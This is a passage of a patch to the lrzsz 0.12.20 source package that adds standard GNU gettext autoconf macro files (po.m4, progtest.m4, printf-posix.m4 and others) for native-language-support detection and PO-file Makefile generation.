-+dnl Bruno Haible <haible@clisp.cons.org>, 2000-2003.
-+
-+AC_DEFUN([AM_NLS],
-+[
-+ AC_MSG_CHECKING([whether NLS is requested])
-+ dnl Default is enabled NLS
-+ AC_ARG_ENABLE(nls,
-+ [ --disable-nls do not use Native Language Support],
-+ USE_NLS=$enableval, USE_NLS=yes)
-+ AC_MSG_RESULT($USE_NLS)
-+ AC_SUBST(USE_NLS)
-+])
-+
-+AC_DEFUN([AM_MKINSTALLDIRS],
-+[
-+ dnl If the AC_CONFIG_AUX_DIR macro for autoconf is used we possibly
-+ dnl find the mkinstalldirs script in another subdir but $(top_srcdir).
-+ dnl Try to locate it.
-+ MKINSTALLDIRS=
-+ if test -n "$ac_aux_dir"; then
-+ case "$ac_aux_dir" in
-+ /*) MKINSTALLDIRS="$ac_aux_dir/mkinstalldirs" ;;
-+ *) MKINSTALLDIRS="\$(top_builddir)/$ac_aux_dir/mkinstalldirs" ;;
-+ esac
-+ fi
-+ if test -z "$MKINSTALLDIRS"; then
-+ MKINSTALLDIRS="\$(top_srcdir)/mkinstalldirs"
-+ fi
-+ AC_SUBST(MKINSTALLDIRS)
-+])
---- lrzsz-0.12.20.safe/m4/po.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/po.m4 2004-09-12 14:40:34.961655976 -0400
-@@ -0,0 +1,426 @@
-+# po.m4 serial 3 (gettext-0.14)
-+dnl Copyright (C) 1995-2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+dnl
-+dnl This file can can be used in projects which are not available under
-+dnl the GNU General Public License or the GNU Library General Public
-+dnl License but which still want to provide support for the GNU gettext
-+dnl functionality.
-+dnl Please note that the actual code of the GNU gettext library is covered
-+dnl by the GNU Library General Public License, and the rest of the GNU
-+dnl gettext package package is covered by the GNU General Public License.
-+dnl They are *not* in the public domain.
-+
-+dnl Authors:
-+dnl Ulrich Drepper <drepper@cygnus.com>, 1995-2000.
-+dnl Bruno Haible <haible@clisp.cons.org>, 2000-2003.
-+
-+dnl Checks for all prerequisites of the po subdirectory.
-+AC_DEFUN([AM_PO_SUBDIRS],
-+[
-+ AC_REQUIRE([AC_PROG_MAKE_SET])dnl
-+ AC_REQUIRE([AC_PROG_INSTALL])dnl
-+ AC_REQUIRE([AM_MKINSTALLDIRS])dnl
-+ AC_REQUIRE([AM_NLS])dnl
-+
-+ dnl Perform the following tests also if --disable-nls has been given,
-+ dnl because they are needed for "make dist" to work.
-+
-+ dnl Search for GNU msgfmt in the PATH.
-+ dnl The first test excludes Solaris msgfmt and early GNU msgfmt versions.
-+ dnl The second test excludes FreeBSD msgfmt.
-+ AM_PATH_PROG_WITH_TEST(MSGFMT, msgfmt,
-+ [$ac_dir/$ac_word --statistics /dev/null >/dev/null 2>&1 &&
-+ (if $ac_dir/$ac_word --statistics /dev/null 2>&1 >/dev/null | grep usage >/dev/null; then exit 1; else exit 0; fi)],
-+ :)
-+ AC_PATH_PROG(GMSGFMT, gmsgfmt, $MSGFMT)
-+
-+ dnl Search for GNU xgettext 0.12 or newer in the PATH.
-+ dnl The first test excludes Solaris xgettext and early GNU xgettext versions.
-+ dnl The second test excludes FreeBSD xgettext.
-+ AM_PATH_PROG_WITH_TEST(XGETTEXT, xgettext,
-+ [$ac_dir/$ac_word --omit-header --copyright-holder= --msgid-bugs-address= /dev/null >/dev/null 2>&1 &&
-+ (if $ac_dir/$ac_word --omit-header --copyright-holder= --msgid-bugs-address= /dev/null 2>&1 >/dev/null | grep usage >/dev/null; then exit 1; else exit 0; fi)],
-+ :)
-+ dnl Remove leftover from FreeBSD xgettext call.
-+ rm -f messages.po
-+
-+ dnl Search for GNU msgmerge 0.11 or newer in the PATH.
-+ AM_PATH_PROG_WITH_TEST(MSGMERGE, msgmerge,
-+ [$ac_dir/$ac_word --update -q /dev/null /dev/null >/dev/null 2>&1], :)
-+
-+ dnl This could go away some day; the PATH_PROG_WITH_TEST already does it.
-+ dnl Test whether we really found GNU msgfmt.
-+ if test "$GMSGFMT" != ":"; then
-+ dnl If it is no GNU msgfmt we define it as : so that the
-+ dnl Makefiles still can work.
-+ if $GMSGFMT --statistics /dev/null >/dev/null 2>&1 &&
-+ (if $GMSGFMT --statistics /dev/null 2>&1 >/dev/null | grep usage >/dev/null; then exit 1; else exit 0; fi); then
-+ : ;
-+ else
-+ GMSGFMT=`echo "$GMSGFMT" | sed -e 's,^.*/,,'`
-+ AC_MSG_RESULT(
-+ [found $GMSGFMT program is not GNU msgfmt; ignore it])
-+ GMSGFMT=":"
-+ fi
-+ fi
-+
-+ dnl This could go away some day; the PATH_PROG_WITH_TEST already does it.
-+ dnl Test whether we really found GNU xgettext.
-+ if test "$XGETTEXT" != ":"; then
-+ dnl If it is no GNU xgettext we define it as : so that the
-+ dnl Makefiles still can work.
-+ if $XGETTEXT --omit-header --copyright-holder= --msgid-bugs-address= /dev/null >/dev/null 2>&1 &&
-+ (if $XGETTEXT --omit-header --copyright-holder= --msgid-bugs-address= /dev/null 2>&1 >/dev/null | grep usage >/dev/null; then exit 1; else exit 0; fi); then
-+ : ;
-+ else
-+ AC_MSG_RESULT(
-+ [found xgettext program is not GNU xgettext; ignore it])
-+ XGETTEXT=":"
-+ fi
-+ dnl Remove leftover from FreeBSD xgettext call.
-+ rm -f messages.po
-+ fi
-+
-+ AC_OUTPUT_COMMANDS([
-+ for ac_file in $CONFIG_FILES; do
-+ # Support "outfile[:infile[:infile...]]"
-+ case "$ac_file" in
-+ *:*) ac_file=`echo "$ac_file"|sed 's%:.*%%'` ;;
-+ esac
-+ # PO directories have a Makefile.in generated from Makefile.in.in.
-+ case "$ac_file" in */Makefile.in)
-+ # Adjust a relative srcdir.
-+ ac_dir=`echo "$ac_file"|sed 's%/[^/][^/]*$%%'`
-+ ac_dir_suffix="/`echo "$ac_dir"|sed 's%^\./%%'`"
-+ ac_dots=`echo "$ac_dir_suffix"|sed 's%/[^/]*%../%g'`
-+ # In autoconf-2.13 it is called $ac_given_srcdir.
-+ # In autoconf-2.50 it is called $srcdir.
-+ test -n "$ac_given_srcdir" || ac_given_srcdir="$srcdir"
-+ case "$ac_given_srcdir" in
-+ .) top_srcdir=`echo $ac_dots|sed 's%/$%%'` ;;
-+ /*) top_srcdir="$ac_given_srcdir" ;;
-+ *) top_srcdir="$ac_dots$ac_given_srcdir" ;;
-+ esac
-+ if test -f "$ac_given_srcdir/$ac_dir/POTFILES.in"; then
-+ rm -f "$ac_dir/POTFILES"
-+ test -n "$as_me" && echo "$as_me: creating $ac_dir/POTFILES" || echo "creating $ac_dir/POTFILES"
-+ cat "$ac_given_srcdir/$ac_dir/POTFILES.in" | sed -e "/^#/d" -e "/^[ ]*\$/d" -e "s,.*, $top_srcdir/& \\\\," | sed -e "\$s/\(.*\) \\\\/\1/" > "$ac_dir/POTFILES"
-+ POMAKEFILEDEPS="POTFILES.in"
-+ # ALL_LINGUAS, POFILES, UPDATEPOFILES, DUMMYPOFILES, GMOFILES depend
-+ # on $ac_dir but don't depend on user-specified configuration
-+ # parameters.
-+ if test -f "$ac_given_srcdir/$ac_dir/LINGUAS"; then
-+ # The LINGUAS file contains the set of available languages.
-+ if test -n "$OBSOLETE_ALL_LINGUAS"; then
-+ test -n "$as_me" && echo "$as_me: setting ALL_LINGUAS in configure.in is obsolete" || echo "setting ALL_LINGUAS in configure.in is obsolete"
-+ fi
-+ ALL_LINGUAS_=`sed -e "/^#/d" "$ac_given_srcdir/$ac_dir/LINGUAS"`
-+ # Hide the ALL_LINGUAS assigment from automake.
-+ eval 'ALL_LINGUAS''=$ALL_LINGUAS_'
-+ POMAKEFILEDEPS="$POMAKEFILEDEPS LINGUAS"
-+ else
-+ # The set of available languages was given in configure.in.
-+ eval 'ALL_LINGUAS''=$OBSOLETE_ALL_LINGUAS'
-+ fi
-+ # Compute POFILES
-+ # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).po)
-+ # Compute UPDATEPOFILES
-+ # as $(foreach lang, $(ALL_LINGUAS), $(lang).po-update)
-+ # Compute DUMMYPOFILES
-+ # as $(foreach lang, $(ALL_LINGUAS), $(lang).nop)
-+ # Compute GMOFILES
-+ # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).gmo)
-+ case "$ac_given_srcdir" in
-+ .) srcdirpre= ;;
-+ *) srcdirpre='$(srcdir)/' ;;
-+ esac
-+ POFILES=
-+ UPDATEPOFILES=
-+ DUMMYPOFILES=
-+ GMOFILES=
-+ for lang in $ALL_LINGUAS; do
-+ POFILES="$POFILES $srcdirpre$lang.po"
-+ UPDATEPOFILES="$UPDATEPOFILES $lang.po-update"
-+ DUMMYPOFILES="$DUMMYPOFILES $lang.nop"
-+ GMOFILES="$GMOFILES $srcdirpre$lang.gmo"
-+ done
-+ # CATALOGS depends on both $ac_dir and the user's LINGUAS
-+ # environment variable.
-+ INST_LINGUAS=
-+ if test -n "$ALL_LINGUAS"; then
-+ for presentlang in $ALL_LINGUAS; do
-+ useit=no
-+ if test "%UNSET%" != "$LINGUAS"; then
-+ desiredlanguages="$LINGUAS"
-+ else
-+ desiredlanguages="$ALL_LINGUAS"
-+ fi
-+ for desiredlang in $desiredlanguages; do
-+ # Use the presentlang catalog if desiredlang is
-+ # a. equal to presentlang, or
-+ # b. a variant of presentlang (because in this case,
-+ # presentlang can be used as a fallback for messages
-+ # which are not translated in the desiredlang catalog).
-+ case "$desiredlang" in
-+ "$presentlang"*) useit=yes;;
-+ esac
-+ done
-+ if test $useit = yes; then
-+ INST_LINGUAS="$INST_LINGUAS $presentlang"
-+ fi
-+ done
-+ fi
-+ CATALOGS=
-+ if test -n "$INST_LINGUAS"; then
-+ for lang in $INST_LINGUAS; do
-+ CATALOGS="$CATALOGS $lang.gmo"
-+ done
-+ fi
-+ test -n "$as_me" && echo "$as_me: creating $ac_dir/Makefile" || echo "creating $ac_dir/Makefile"
-+ sed -e "/^POTFILES =/r $ac_dir/POTFILES" -e "/^# Makevars/r $ac_given_srcdir/$ac_dir/Makevars" -e "s|@POFILES@|$POFILES|g" -e "s|@UPDATEPOFILES@|$UPDATEPOFILES|g" -e "s|@DUMMYPOFILES@|$DUMMYPOFILES|g" -e "s|@GMOFILES@|$GMOFILES|g" -e "s|@CATALOGS@|$CATALOGS|g" -e "s|@POMAKEFILEDEPS@|$POMAKEFILEDEPS|g" "$ac_dir/Makefile.in" > "$ac_dir/Makefile"
-+ for f in "$ac_given_srcdir/$ac_dir"/Rules-*; do
-+ if test -f "$f"; then
-+ case "$f" in
-+ *.orig | *.bak | *~) ;;
-+ *) cat "$f" >> "$ac_dir/Makefile" ;;
-+ esac
-+ fi
-+ done
-+ fi
-+ ;;
-+ esac
-+ done],
-+ [# Capture the value of obsolete ALL_LINGUAS because we need it to compute
-+ # POFILES, UPDATEPOFILES, DUMMYPOFILES, GMOFILES, CATALOGS. But hide it
-+ # from automake.
-+ eval 'OBSOLETE_ALL_LINGUAS''="$ALL_LINGUAS"'
-+ # Capture the value of LINGUAS because we need it to compute CATALOGS.
-+ LINGUAS="${LINGUAS-%UNSET%}"
-+ ])
-+])
-+
-+dnl Postprocesses a Makefile in a directory containing PO files.
-+AC_DEFUN([AM_POSTPROCESS_PO_MAKEFILE],
-+[
-+ # When this code is run, in config.status, two variables have already been
-+ # set:
-+ # - OBSOLETE_ALL_LINGUAS is the value of LINGUAS set in configure.in,
-+ # - LINGUAS is the value of the environment variable LINGUAS at configure
-+ # time.
-+
-+changequote(,)dnl
-+ # Adjust a relative srcdir.
-+ ac_dir=`echo "$ac_file"|sed 's%/[^/][^/]*$%%'`
-+ ac_dir_suffix="/`echo "$ac_dir"|sed 's%^\./%%'`"
-+ ac_dots=`echo "$ac_dir_suffix"|sed 's%/[^/]*%../%g'`
-+ # In autoconf-2.13 it is called $ac_given_srcdir.
-+ # In autoconf-2.50 it is called $srcdir.
-+ test -n "$ac_given_srcdir" || ac_given_srcdir="$srcdir"
-+ case "$ac_given_srcdir" in
-+ .) top_srcdir=`echo $ac_dots|sed 's%/$%%'` ;;
-+ /*) top_srcdir="$ac_given_srcdir" ;;
-+ *) top_srcdir="$ac_dots$ac_given_srcdir" ;;
-+ esac
-+
-+ # Find a way to echo strings without interpreting backslash.
-+ if test "X`(echo '\t') 2>/dev/null`" = 'X\t'; then
-+ gt_echo='echo'
-+ else
-+ if test "X`(printf '%s\n' '\t') 2>/dev/null`" = 'X\t'; then
-+ gt_echo='printf %s\n'
-+ else
-+ echo_func () {
-+ cat <<EOT
-+$*
-+EOT
-+ }
-+ gt_echo='echo_func'
-+ fi
-+ fi
-+
-+ # A sed script that extracts the value of VARIABLE from a Makefile.
-+ sed_x_variable='
-+# Test if the hold space is empty.
-+x
-+s/P/P/
-+x
-+ta
-+# Yes it was empty. Look if we have the expected variable definition.
-+/^[ ]*VARIABLE[ ]*=/{
-+ # Seen the first line of the variable definition.
-+ s/^[ ]*VARIABLE[ ]*=//
-+ ba
-+}
-+bd
-+:a
-+# Here we are processing a line from the variable definition.
-+# Remove comment, more precisely replace it with a space.
-+s/#.*$/ /
-+# See if the line ends in a backslash.
-+tb
-+:b
-+s/\\$//
-+# Print the line, without the trailing backslash.
-+p
-+tc
-+# There was no trailing backslash. The end of the variable definition is
-+# reached. Clear the hold space.
-+s/^.*$//
-+x
-+bd
-+:c
-+# A trailing backslash means that the variable definition continues in the
-+# next line. Put a nonempty string into the hold space to indicate this.
-+s/^.*$/P/
-+x
-+:d
-+'
-+changequote([,])dnl
-+
-+ # Set POTFILES to the value of the Makefile variable POTFILES.
-+ sed_x_POTFILES="`$gt_echo \"$sed_x_variable\" | sed -e '/^ *#/d' -e 's/VARIABLE/POTFILES/g'`"
-+ POTFILES=`sed -n -e "$sed_x_POTFILES" < "$ac_file"`
-+ # Compute POTFILES_DEPS as
-+ # $(foreach file, $(POTFILES), $(top_srcdir)/$(file))
-+ POTFILES_DEPS=
-+ for file in $POTFILES; do
-+ POTFILES_DEPS="$POTFILES_DEPS "'$(top_srcdir)/'"$file"
-+ done
-+ POMAKEFILEDEPS=""
-+
-+ if test -n "$OBSOLETE_ALL_LINGUAS"; then
-+ test -n "$as_me" && echo "$as_me: setting ALL_LINGUAS in configure.in is obsolete" || echo "setting ALL_LINGUAS in configure.in is obsolete"
-+ fi
-+ if test -f "$ac_given_srcdir/$ac_dir/LINGUAS"; then
-+ # The LINGUAS file contains the set of available languages.
-+ ALL_LINGUAS_=`sed -e "/^#/d" "$ac_given_srcdir/$ac_dir/LINGUAS"`
-+ POMAKEFILEDEPS="$POMAKEFILEDEPS LINGUAS"
-+ else
-+ # Set ALL_LINGUAS to the value of the Makefile variable LINGUAS.
-+ sed_x_LINGUAS="`$gt_echo \"$sed_x_variable\" | sed -e '/^ *#/d' -e 's/VARIABLE/LINGUAS/g'`"
-+ ALL_LINGUAS_=`sed -n -e "$sed_x_LINGUAS" < "$ac_file"`
-+ fi
-+ # Hide the ALL_LINGUAS assigment from automake.
-+ eval 'ALL_LINGUAS''=$ALL_LINGUAS_'
-+ # Compute POFILES
-+ # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).po)
-+ # Compute UPDATEPOFILES
-+ # as $(foreach lang, $(ALL_LINGUAS), $(lang).po-update)
-+ # Compute DUMMYPOFILES
-+ # as $(foreach lang, $(ALL_LINGUAS), $(lang).nop)
-+ # Compute GMOFILES
-+ # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).gmo)
-+ # Compute PROPERTIESFILES
-+ # as $(foreach lang, $(ALL_LINGUAS), $(top_srcdir)/$(DOMAIN)_$(lang).properties)
-+ # Compute CLASSFILES
-+ # as $(foreach lang, $(ALL_LINGUAS), $(top_srcdir)/$(DOMAIN)_$(lang).class)
-+ # Compute QMFILES
-+ # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).qm)
-+ # Compute MSGFILES
-+ # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(frob $(lang)).msg)
-+ # Compute RESOURCESDLLFILES
-+ # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(frob $(lang))/$(DOMAIN).resources.dll)
-+ case "$ac_given_srcdir" in
-+ .) srcdirpre= ;;
-+ *) srcdirpre='$(srcdir)/' ;;
-+ esac
-+ POFILES=
-+ UPDATEPOFILES=
-+ DUMMYPOFILES=
-+ GMOFILES=
-+ PROPERTIESFILES=
-+ CLASSFILES=
-+ QMFILES=
-+ MSGFILES=
-+ RESOURCESDLLFILES=
-+ for lang in $ALL_LINGUAS; do
-+ POFILES="$POFILES $srcdirpre$lang.po"
-+ UPDATEPOFILES="$UPDATEPOFILES $lang.po-update"
-+ DUMMYPOFILES="$DUMMYPOFILES $lang.nop"
-+ GMOFILES="$GMOFILES $srcdirpre$lang.gmo"
-+ PROPERTIESFILES="$PROPERTIESFILES \$(top_srcdir)/\$(DOMAIN)_$lang.properties"
-+ CLASSFILES="$CLASSFILES \$(top_srcdir)/\$(DOMAIN)_$lang.class"
-+ QMFILES="$QMFILES $srcdirpre$lang.qm"
-+ frobbedlang=`echo $lang | sed -e 's/\..*$//' -e 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/'`
-+ MSGFILES="$MSGFILES $srcdirpre$frobbedlang.msg"
-+ frobbedlang=`echo $lang | sed -e 's/_/-/g'`
-+ RESOURCESDLLFILES="$RESOURCESDLLFILES $srcdirpre$frobbedlang/\$(DOMAIN).resources.dll"
-+ done
-+ # CATALOGS depends on both $ac_dir and the user's LINGUAS
-+ # environment variable.
-+ INST_LINGUAS=
-+ if test -n "$ALL_LINGUAS"; then
-+ for presentlang in $ALL_LINGUAS; do
-+ useit=no
-+ if test "%UNSET%" != "$LINGUAS"; then
-+ desiredlanguages="$LINGUAS"
-+ else
-+ desiredlanguages="$ALL_LINGUAS"
-+ fi
-+ for desiredlang in $desiredlanguages; do
-+ # Use the presentlang catalog if desiredlang is
-+ # a. equal to presentlang, or
-+ # b. a variant of presentlang (because in this case,
-+ # presentlang can be used as a fallback for messages
-+ # which are not translated in the desiredlang catalog).
-+ case "$desiredlang" in
-+ "$presentlang"*) useit=yes;;
-+ esac
-+ done
-+ if test $useit = yes; then
-+ INST_LINGUAS="$INST_LINGUAS $presentlang"
-+ fi
-+ done
-+ fi
-+ CATALOGS=
-+ JAVACATALOGS=
-+ QTCATALOGS=
-+ TCLCATALOGS=
-+ CSHARPCATALOGS=
-+ if test -n "$INST_LINGUAS"; then
-+ for lang in $INST_LINGUAS; do
-+ CATALOGS="$CATALOGS $lang.gmo"
-+ JAVACATALOGS="$JAVACATALOGS \$(DOMAIN)_$lang.properties"
-+ QTCATALOGS="$QTCATALOGS $lang.qm"
-+ frobbedlang=`echo $lang | sed -e 's/\..*$//' -e 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/'`
-+ TCLCATALOGS="$TCLCATALOGS $frobbedlang.msg"
-+ frobbedlang=`echo $lang | sed -e 's/_/-/g'`
-+ CSHARPCATALOGS="$CSHARPCATALOGS $frobbedlang/\$(DOMAIN).resources.dll"
-+ done
-+ fi
-+
-+ sed -e "s|@POTFILES_DEPS@|$POTFILES_DEPS|g" -e "s|@POFILES@|$POFILES|g" -e "s|@UPDATEPOFILES@|$UPDATEPOFILES|g" -e "s|@DUMMYPOFILES@|$DUMMYPOFILES|g" -e "s|@GMOFILES@|$GMOFILES|g" -e "s|@PROPERTIESFILES@|$PROPERTIESFILES|g" -e "s|@CLASSFILES@|$CLASSFILES|g" -e "s|@QMFILES@|$QMFILES|g" -e "s|@MSGFILES@|$MSGFILES|g" -e "s|@RESOURCESDLLFILES@|$RESOURCESDLLFILES|g" -e "s|@CATALOGS@|$CATALOGS|g" -e "s|@JAVACATALOGS@|$JAVACATALOGS|g" -e "s|@QTCATALOGS@|$QTCATALOGS|g" -e "s|@TCLCATALOGS@|$TCLCATALOGS|g" -e "s|@CSHARPCATALOGS@|$CSHARPCATALOGS|g" -e 's,^#distdir:,distdir:,' < "$ac_file" > "$ac_file.tmp"
-+ if grep -l '@TCLCATALOGS@' "$ac_file" > /dev/null; then
-+ # Add dependencies that cannot be formulated as a simple suffix rule.
-+ for lang in $ALL_LINGUAS; do
-+ frobbedlang=`echo $lang | sed -e 's/\..*$//' -e 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/'`
-+ cat >> "$ac_file.tmp" <<EOF
-+$frobbedlang.msg: $lang.po
-+ @echo "\$(MSGFMT) -c --tcl -d \$(srcdir) -l $lang $srcdirpre$lang.po"; \
-+ \$(MSGFMT) -c --tcl -d "\$(srcdir)" -l $lang $srcdirpre$lang.po || { rm -f "\$(srcdir)/$frobbedlang.msg"; exit 1; }
-+EOF
-+ done
-+ fi
-+ if grep -l '@CSHARPCATALOGS@' "$ac_file" > /dev/null; then
-+ # Add dependencies that cannot be formulated as a simple suffix rule.
-+ for lang in $ALL_LINGUAS; do
-+ frobbedlang=`echo $lang | sed -e 's/_/-/g'`
-+ cat >> "$ac_file.tmp" <<EOF
-+$frobbedlang/\$(DOMAIN).resources.dll: $lang.po
-+ @echo "\$(MSGFMT) -c --csharp -d \$(srcdir) -l $lang $srcdirpre$lang.po -r \$(DOMAIN)"; \
-+ \$(MSGFMT) -c --csharp -d "\$(srcdir)" -l $lang $srcdirpre$lang.po -r "\$(DOMAIN)" || { rm -f "\$(srcdir)/$frobbedlang.msg"; exit 1; }
-+EOF
-+ done
-+ fi
-+ if test -n "$POMAKEFILEDEPS"; then
-+ cat >> "$ac_file.tmp" <<EOF
-+Makefile: $POMAKEFILEDEPS
-+EOF
-+ fi
-+ mv "$ac_file.tmp" "$ac_file"
-+])
---- lrzsz-0.12.20.safe/m4/printf-posix.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/printf-posix.m4 2004-09-12 14:40:34.974654000 -0400
-@@ -0,0 +1,46 @@
-+# printf-posix.m4 serial 2 (gettext-0.13.1)
-+dnl Copyright (C) 2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Bruno Haible.
-+dnl Test whether the printf() function supports POSIX/XSI format strings with
-+dnl positions.
-+
-+AC_DEFUN([gt_PRINTF_POSIX],
-+[
-+ AC_REQUIRE([AC_PROG_CC])
-+ AC_CACHE_CHECK([whether printf() supports POSIX/XSI format strings],
-+ gt_cv_func_printf_posix,
-+ [
-+ AC_TRY_RUN([
-+#include <stdio.h>
-+#include <string.h>
-+/* The string "%2$d %1$d", with dollar characters protected from the shell's
-+ dollar expansion (possibly an autoconf bug). */
-+static char format[] = { '%', '2', '$', 'd', ' ', '%', '1', '$', 'd', '\0' };
-+static char buf[100];
-+int main ()
-+{
-+ sprintf (buf, format, 33, 55);
-+ return (strcmp (buf, "55 33") != 0);
-+}], gt_cv_func_printf_posix=yes, gt_cv_func_printf_posix=no,
-+ [
-+ AC_EGREP_CPP(notposix, [
-+#if defined __NetBSD__ || defined _MSC_VER || defined __MINGW32__ || defined __CYGWIN__
-+ notposix
-+#endif
-+ ], gt_cv_func_printf_posix="guessing no",
-+ gt_cv_func_printf_posix="guessing yes")
-+ ])
-+ ])
-+ case $gt_cv_func_printf_posix in
-+ *yes)
-+ AC_DEFINE(HAVE_POSIX_PRINTF, 1,
-+ [Define if your printf() function supports format strings with positions.])
-+ ;;
-+ esac
-+])
---- lrzsz-0.12.20.safe/m4/progtest.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/progtest.m4 2004-09-12 14:40:34.990651568 -0400
-@@ -0,0 +1,91 @@
-+# progtest.m4 serial 3 (gettext-0.12)
-+dnl Copyright (C) 1996-2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+dnl
-+dnl This file can can be used in projects which are not available under
-+dnl the GNU General Public License or the GNU Library General Public
-+dnl License but which still want to provide support for the GNU gettext
-+dnl functionality.
-+dnl Please note that the actual code of the GNU gettext library is covered
-+dnl by the GNU Library General Public License, and the rest of the GNU
-+dnl gettext package package is covered by the GNU General Public License.
-+dnl They are *not* in the public domain.
-+
-+dnl Authors:
-+dnl Ulrich Drepper <drepper@cygnus.com>, 1996.
-+
-+# Search path for a program which passes the given test.
-+
-+dnl AM_PATH_PROG_WITH_TEST(VARIABLE, PROG-TO-CHECK-FOR,
-+dnl TEST-PERFORMED-ON-FOUND_PROGRAM [, VALUE-IF-NOT-FOUND [, PATH]])
-+AC_DEFUN([AM_PATH_PROG_WITH_TEST],
-+[
-+# Prepare PATH_SEPARATOR.
-+# The user is always right.
-+if test "${PATH_SEPARATOR+set}" != set; then
-+ echo "#! /bin/sh" >conf$$.sh
-+ echo "exit 0" >>conf$$.sh
-+ chmod +x conf$$.sh
-+ if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then
-+ PATH_SEPARATOR=';'
-+ else
-+ PATH_SEPARATOR=:
-+ fi
-+ rm -f conf$$.sh
-+fi
-+
-+# Find out how to test for executable files. Don't use a zero-byte file,
-+# as systems may use methods other than mode bits to determine executability.
-+cat >conf$$.file <<_ASEOF
-+#! /bin/sh
-+exit 0
-+_ASEOF
-+chmod +x conf$$.file
-+if test -x conf$$.file >/dev/null 2>&1; then
-+ ac_executable_p="test -x"
-+else
-+ ac_executable_p="test -f"
-+fi
-+rm -f conf$$.file
-+
-+# Extract the first word of "$2", so it can be a program name with args.
-+set dummy $2; ac_word=[$]2
-+AC_MSG_CHECKING([for $ac_word])
-+AC_CACHE_VAL(ac_cv_path_$1,
-+[case "[$]$1" in
-+ [[\\/]]* | ?:[[\\/]]*)
-+ ac_cv_path_$1="[$]$1" # Let the user override the test with a path.
-+ ;;
-+ *)
-+ ac_save_IFS="$IFS"; IFS=$PATH_SEPARATOR
-+ for ac_dir in ifelse([$5], , $PATH, [$5]); do
-+ IFS="$ac_save_IFS"
-+ test -z "$ac_dir" && ac_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if $ac_executable_p "$ac_dir/$ac_word$ac_exec_ext"; then
-+ if [$3]; then
-+ ac_cv_path_$1="$ac_dir/$ac_word$ac_exec_ext"
-+ break 2
-+ fi
-+ fi
-+ done
-+ done
-+ IFS="$ac_save_IFS"
-+dnl If no 4th arg is given, leave the cache variable unset,
-+dnl so AC_PATH_PROGS will keep looking.
-+ifelse([$4], , , [ test -z "[$]ac_cv_path_$1" && ac_cv_path_$1="$4"
-+])dnl
-+ ;;
-+esac])dnl
-+$1="$ac_cv_path_$1"
-+if test ifelse([$4], , [-n "[$]$1"], ["[$]$1" != "$4"]); then
-+ AC_MSG_RESULT([$]$1)
-+else
-+ AC_MSG_RESULT(no)
-+fi
-+AC_SUBST($1)dnl
-+])
---- lrzsz-0.12.20.safe/m4/signed.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/signed.m4 2004-09-12 14:40:34.996650656 -0400
-@@ -0,0 +1,19 @@
-+# signed.m4 serial 1 (gettext-0.10.40)
-+dnl Copyright (C) 2001-2002 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Bruno Haible.
-+
-+AC_DEFUN([bh_C_SIGNED],
-+[
-+ AC_CACHE_CHECK([for signed], bh_cv_c_signed,
-+ [AC_TRY_COMPILE(, [signed char x;], bh_cv_c_signed=yes, bh_cv_c_signed=no)])
-+ if test $bh_cv_c_signed = no; then
-+ AC_DEFINE(signed, ,
-+ [Define to empty if the C compiler doesn't support this keyword.])
-+ fi
-+])
---- lrzsz-0.12.20.safe/m4/size_max.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/size_max.m4 2004-09-12 14:40:35.003649592 -0400
-@@ -0,0 +1,61 @@
-+# size_max.m4 serial 2
-+dnl Copyright (C) 2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Bruno Haible.
-+
-+AC_DEFUN([gl_SIZE_MAX],
-+[
-+ AC_CHECK_HEADERS(stdint.h)
-+ dnl First test whether the system already has SIZE_MAX.
-+ AC_MSG_CHECKING([for SIZE_MAX])
-+ result=
-+ AC_EGREP_CPP([Found it], [
-+#include <limits.h>
-+#if HAVE_STDINT_H
-+#include <stdint.h>
-+#endif
-+#ifdef SIZE_MAX
-+Found it
-+#endif
-+], result=yes)
-+ if test -z "$result"; then
-+ dnl Define it ourselves. Here we assume that the type 'size_t' is not wider
-+ dnl than the type 'unsigned long'.
-+ dnl The _AC_COMPUTE_INT macro works up to LONG_MAX, since it uses 'expr',
-+ dnl which is guaranteed to work from LONG_MIN to LONG_MAX.
-+ _AC_COMPUTE_INT([~(size_t)0 / 10], res_hi,
-+ [#include <stddef.h>], result=?)
